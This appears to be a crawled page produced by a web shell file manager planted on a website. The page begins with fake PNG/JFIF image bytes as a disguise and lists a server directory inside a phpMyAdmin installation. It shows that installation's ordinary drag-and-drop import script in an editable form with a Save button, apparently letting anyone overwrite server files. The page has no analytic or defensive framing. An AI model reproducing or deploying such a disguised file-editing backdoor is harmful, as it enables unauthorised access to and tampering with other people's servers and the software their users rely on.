�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2F'>js</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fdist%2F'>dist</a>/</p><hr><h3>✏️ Editing: drag_drop_import.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&quot;use strict&quot;;

/* This script handles PMA Drag Drop Import, loaded only when configuration is enabled.*/

/**
 * Class to handle PMA Drag and Drop Import
 *      feature
 */
var DragDropImport = {
  /**
   * @var int, count of total uploads in this view
   */
  uploadCount: 0,

  /**
   * @var int, count of live uploads
   */
  liveUploadCount: 0,

  /**
   * @var string array, allowed extensions
   */
  allowedExtensions: [&#039;sql&#039;, &#039;xml&#039;, &#039;ldi&#039;, &#039;mediawiki&#039;, &#039;shp&#039;],

  /**
   * @var string array, allowed extensions for compressed files
   */
  allowedCompressedExtensions: [&#039;gz&#039;, &#039;bz2&#039;, &#039;zip&#039;],

  /**
   * @var obj array to store message returned by /import-status
   */
  importStatus: [],

  /**
   * Checks if any dropped file has valid extension or not
   *
   * @param file filename
   *
   * @return string, extension for valid extension, &#039;&#039; otherwise
   */
  getExtension: function getExtension(file) {
    var arr = file.split(&#039;.&#039;);
    var ext = arr[arr.length - 1]; // check if compressed

    if (jQuery.inArray(ext.toLowerCase(), DragDropImport.allowedCompressedExtensions) !== -1) {
      ext = arr[arr.length - 2];
    } // Now check for extension


    if (jQuery.inArray(ext.toLowerCase(), DragDropImport.allowedExtensions) !== -1) {
      return ext;
    }

    return &#039;&#039;;
  },

  /**
   * Shows upload progress for different sql uploads
   *
   * @param: hash (string), hash for specific file upload
   * @param: percent (float), file upload percentage
   *
   * @return void
   */
  setProgress: function setProgress(hash, percent) {
    $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;]&#039;).children(&#039;progress&#039;).val(percent);
  },

  /**
   * Function to upload the file asynchronously
   *
   * @param formData FormData object for a specific file
   * @param hash hash of the current file upload
   *
   * @return void
   */
  sendFileToServer: function sendFileToServer(formData, hash) {
    var jqXHR = $.ajax({
      xhr: function xhr() {
        var xhrobj = $.ajaxSettings.xhr();

        if (xhrobj.upload) {
          xhrobj.upload.addEventListener(&#039;progress&#039;, function (event) {
            var percent = 0;
            var position = event.loaded || event.position;
            var total = event.total;

            if (event.lengthComputable) {
              percent = Math.ceil(position / total * 100);
            } // Set progress


            DragDropImport.setProgress(hash, percent);
          }, false);
        }

        return xhrobj;
      },
      url: &#039;index.php?route=/import&#039;,
      type: &#039;POST&#039;,
      contentType: false,
      processData: false,
      cache: false,
      data: formData,
      success: function success(data) {
        DragDropImport.importFinished(hash, false, data.success);

        if (!data.success) {
          DragDropImport.importStatus[DragDropImport.importStatus.length] = {
            hash: hash,
            message: data.error
          };
        }
      }
    }); // -- provide link to cancel the upload

    $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;] span.filesize&#039;).html(&#039;&lt;span hash=&quot;&#039; + hash + &#039;&quot; class=&quot;pma_drop_file_status&quot; task=&quot;cancel&quot;&gt;&#039; + Messages.dropImportMessageCancel + &#039;&lt;/span&gt;&#039;); // -- add event listener to this link to abort upload operation

    $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;] span.filesize span.pma_drop_file_status&#039;).on(&#039;click&#039;, function () {
      if ($(this).attr(&#039;task&#039;) === &#039;cancel&#039;) {
        jqXHR.abort();
        $(this).html(&#039;&lt;span&gt;&#039; + Messages.dropImportMessageAborted + &#039;&lt;/span&gt;&#039;);
        DragDropImport.importFinished(hash, true, false);
      } else if ($(this).children(&#039;span&#039;).html() === Messages.dropImportMessageFailed) {
        // -- view information
        var $this = $(this);
        $.each(DragDropImport.importStatus, function (key, value) {
          if (value.hash === hash) {
            $(&#039;.pma_drop_result:visible&#039;).remove();
            var filename = $this.parent(&#039;span&#039;).attr(&#039;data-filename&#039;);
            $(&#039;body&#039;).append(&#039;&lt;div class=&quot;pma_drop_result&quot;&gt;&lt;h2&gt;&#039; + Messages.dropImportImportResultHeader + &#039; - &#039; + filename + &#039;&lt;span class=&quot;close&quot;&gt;x&lt;/span&gt;&lt;/h2&gt;&#039; + value.message + &#039;&lt;/div&gt;&#039;);
            $(&#039;.pma_drop_result&#039;).draggable(); // to make this dialog draggable
          }
        });
      }
    });
  },

  /**
   * Triggered when an object is dragged into the PMA UI
   *
   * @param event obj
   *
   * @return void
   */
  dragEnter: function dragEnter(event) {
    // We don&#039;t want to prevent users from using
    // browser&#039;s default drag-drop feature on some page(s)
    if ($(&#039;.noDragDrop&#039;).length !== 0) {
      return;
    }

    event.stopPropagation();
    event.preventDefault();

    if (!DragDropImport.hasFiles(event)) {
      return;
    }

    if (CommonParams.get(&#039;db&#039;) === &#039;&#039;) {
      $(&#039;.pma_drop_handler&#039;).html(Messages.dropImportSelectDB);
    } else {
      $(&#039;.pma_drop_handler&#039;).html(Messages.dropImportDropFiles);
    }

    $(&#039;.pma_drop_handler&#039;).fadeIn();
  },

  /**
   * Check if dragged element contains Files
   *
   * @param event the event object
   *
   * @return bool
   */
  hasFiles: function hasFiles(event) {
    return !(typeof event.originalEvent.dataTransfer.types === &#039;undefined&#039; || $.inArray(&#039;Files&#039;, event.originalEvent.dataTransfer.types) &lt; 0 || $.inArray(&#039;application/x-moz-nativeimage&#039;, event.originalEvent.dataTransfer.types) &gt;= 0);
  },

  /**
   * Triggered when dragged file is being dragged over PMA UI
   *
   * @param event obj
   *
   * @return void
   */
  dragOver: function dragOver(event) {
    // We don&#039;t want to prevent users from using
    // browser&#039;s default drag-drop feature on some page(s)
    if ($(&#039;.noDragDrop&#039;).length !== 0) {
      return;
    }

    event.stopPropagation();
    event.preventDefault();

    if (!DragDropImport.hasFiles(event)) {
      return;
    }

    $(&#039;.pma_drop_handler&#039;).fadeIn();
  },

  /**
   * Triggered when dragged objects are left
   *
   * @param event obj
   *
   * @return void
   */
  dragLeave: function dragLeave(event) {
    // We don&#039;t want to prevent users from using
    // browser&#039;s default drag-drop feature on some page(s)
    if ($(&#039;.noDragDrop&#039;).length !== 0) {
      return;
    }

    event.stopPropagation();
    event.preventDefault();
    var $dropHandler = $(&#039;.pma_drop_handler&#039;);
    $dropHandler.clearQueue().stop();
    $dropHandler.fadeOut();
    $dropHandler.html(Messages.dropImportDropFiles);
  },

  /**
   * Called when upload has finished
   *
   * @param string, unique hash for a certain upload
   * @param bool, true if upload was aborted
   * @param bool, status of sql upload, as sent by server
   *
   * @return void
   */
  importFinished: function importFinished(hash, aborted, status) {
    $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;]&#039;).children(&#039;progress&#039;).hide();
    var icon = &#039;icon ic_s_success&#039;; // -- provide link to view upload status

    if (!aborted) {
      if (status) {
        $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;] span.filesize span.pma_drop_file_status&#039;).html(&#039;&lt;span&gt;&#039; + Messages.dropImportMessageSuccess + &#039;&lt;/a&gt;&#039;);
      } else {
        $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;] span.filesize span.pma_drop_file_status&#039;).html(&#039;&lt;span class=&quot;underline&quot;&gt;&#039; + Messages.dropImportMessageFailed + &#039;&lt;/a&gt;&#039;);
        icon = &#039;icon ic_s_error&#039;;
      }
    } else {
      icon = &#039;icon ic_s_notice&#039;;
    }

    $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;] span.filesize span.pma_drop_file_status&#039;).attr(&#039;task&#039;, &#039;info&#039;); // Set icon

    $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;]&#039;).prepend(&#039;&lt;img src=&quot;./themes/dot.gif&quot; title=&quot;finished&quot; class=&quot;&#039; + icon + &#039;&quot;&gt; &#039;); // Decrease liveUploadCount by one

    $(&#039;.pma_import_count&#039;).html(--DragDropImport.liveUploadCount);

    if (!DragDropImport.liveUploadCount) {
      $(&#039;.pma_sql_import_status h2 .close&#039;).fadeIn();
    }
  },

  /**
   * Triggered when dragged objects are dropped to UI
   * From this function, the AJAX Upload operation is initiated
   *
   * @param event object
   *
   * @return void
   */
  drop: function drop(event) {
    // We don&#039;t want to prevent users from using
    // browser&#039;s default drag-drop feature on some page(s)
    if ($(&#039;.noDragDrop&#039;).length !== 0) {
      return;
    }

    var dbname = CommonParams.get(&#039;db&#039;);
    var server = CommonParams.get(&#039;server&#039;); // if no database is selected -- no

    if (dbname !== &#039;&#039;) {
      var files = event.originalEvent.dataTransfer.files;

      if (!files || files.length === 0) {
        // No files actually transferred
        $(&#039;.pma_drop_handler&#039;).fadeOut();
        event.stopPropagation();
        event.preventDefault();
        return;
      }

      $(&#039;.pma_sql_import_status&#039;).slideDown();

      for (var i = 0; i &lt; files.length; i++) {
        var ext = DragDropImport.getExtension(files[i].name);
        var hash = AJAX.hash(++DragDropImport.uploadCount);
        var $sqlImportStatusDiv = $(&#039;.pma_sql_import_status div&#039;);
        $sqlImportStatusDiv.append(&#039;&lt;li data-hash=&quot;&#039; + hash + &#039;&quot;&gt;&#039; + (ext !== &#039;&#039; ? &#039;&#039; : &#039;&lt;img src=&quot;./themes/dot.gif&quot; title=&quot;invalid format&quot; class=&quot;icon ic_s_notice&quot;&gt; &#039;) + Functions.escapeHtml(files[i].name) + &#039;&lt;span class=&quot;filesize&quot; data-filename=&quot;&#039; + Functions.escapeHtml(files[i].name) + &#039;&quot;&gt;&#039; + (files[i].size / 1024).toFixed(2) + &#039; kb&lt;/span&gt;&lt;/li&gt;&#039;); // scroll the UI to bottom

        $sqlImportStatusDiv.scrollTop($sqlImportStatusDiv.scrollTop() + 50); // 50 hardcoded for now

        if (ext !== &#039;&#039;) {
          // Increment liveUploadCount by one
          $(&#039;.pma_import_count&#039;).html(++DragDropImport.liveUploadCount);
          $(&#039;.pma_sql_import_status h2 .close&#039;).fadeOut();
          $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;]&#039;).append(&#039;&lt;br&gt;&lt;progress max=&quot;100&quot; value=&quot;2&quot;&gt;&lt;/progress&gt;&#039;); // uploading

          var fd = new FormData();
          fd.append(&#039;import_file&#039;, files[i]);
          fd.append(&#039;noplugin&#039;, Math.random().toString(36).substring(2, 12));
          fd.append(&#039;db&#039;, dbname);
          fd.append(&#039;server&#039;, server);
          fd.append(&#039;token&#039;, CommonParams.get(&#039;token&#039;));
          fd.append(&#039;import_type&#039;, &#039;database&#039;); // todo: method to find the value below

          fd.append(&#039;MAX_FILE_SIZE&#039;, &#039;4194304&#039;); // todo: method to find the value below

          fd.append(&#039;charset_of_file&#039;, &#039;utf-8&#039;); // todo: method to find the value below

          fd.append(&#039;allow_interrupt&#039;, &#039;yes&#039;);
          fd.append(&#039;skip_queries&#039;, &#039;0&#039;);
          fd.append(&#039;format&#039;, ext);
          fd.append(&#039;sql_compatibility&#039;, &#039;NONE&#039;);
          fd.append(&#039;sql_no_auto_value_on_zero&#039;, &#039;something&#039;);
          fd.append(&#039;ajax_request&#039;, &#039;true&#039;);
          fd.append(&#039;hash&#039;, hash); // init uploading

          DragDropImport.sendFileToServer(fd, hash);
        } else if (!DragDropImport.liveUploadCount) {
          $(&#039;.pma_sql_import_status h2 .close&#039;).fadeIn();
        }
      }
    }

    $(&#039;.pma_drop_handler&#039;).fadeOut();
    event.stopPropagation();
    event.preventDefault();
  }
};
/**
 * Called when some user drags, dragover, leave
 *       a file to the PMA UI
 * @param object Event data
 * @return void
 */

$(document).on(&#039;dragenter&#039;, DragDropImport.dragEnter);
$(document).on(&#039;dragover&#039;, DragDropImport.dragOver);
$(document).on(&#039;dragleave&#039;, &#039;.pma_drop_handler&#039;, DragDropImport.dragLeave); // when file is dropped to PMA UI

$(document).on(&#039;drop&#039;, &#039;body&#039;, DragDropImport.drop); // minimizing-maximizing the sql ajax upload status

$(document).on(&#039;click&#039;, &#039;.pma_sql_import_status h2 .minimize&#039;, function () {
  if ($(this).attr(&#039;toggle&#039;) === &#039;off&#039;) {
    $(&#039;.pma_sql_import_status div&#039;).css(&#039;height&#039;, &#039;270px&#039;);
    $(this).attr(&#039;toggle&#039;, &#039;on&#039;);
    $(this).html(&#039;-&#039;); // to minimize
  } else {
    $(&#039;.pma_sql_import_status div&#039;).css(&#039;height&#039;, &#039;0px&#039;);
    $(this).attr(&#039;toggle&#039;, &#039;off&#039;);
    $(this).html(&#039;+&#039;); // to maximise
  }
}); // closing sql ajax upload status

$(document).on(&#039;click&#039;, &#039;.pma_sql_import_status h2 .close&#039;, function () {
  $(&#039;.pma_sql_import_status&#039;).fadeOut(function () {
    $(&#039;.pma_sql_import_status div&#039;).html(&#039;&#039;);
    DragDropImport.importStatus = []; // clear the message array
  });
}); // Closing the import result box

$(document).on(&#039;click&#039;, &#039;.pma_drop_result h2 .close&#039;, function () {
  $(this).parent(&#039;h2&#039;).parent(&#039;div&#039;).remove();
});</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fdist'>🔙 Back</a></p>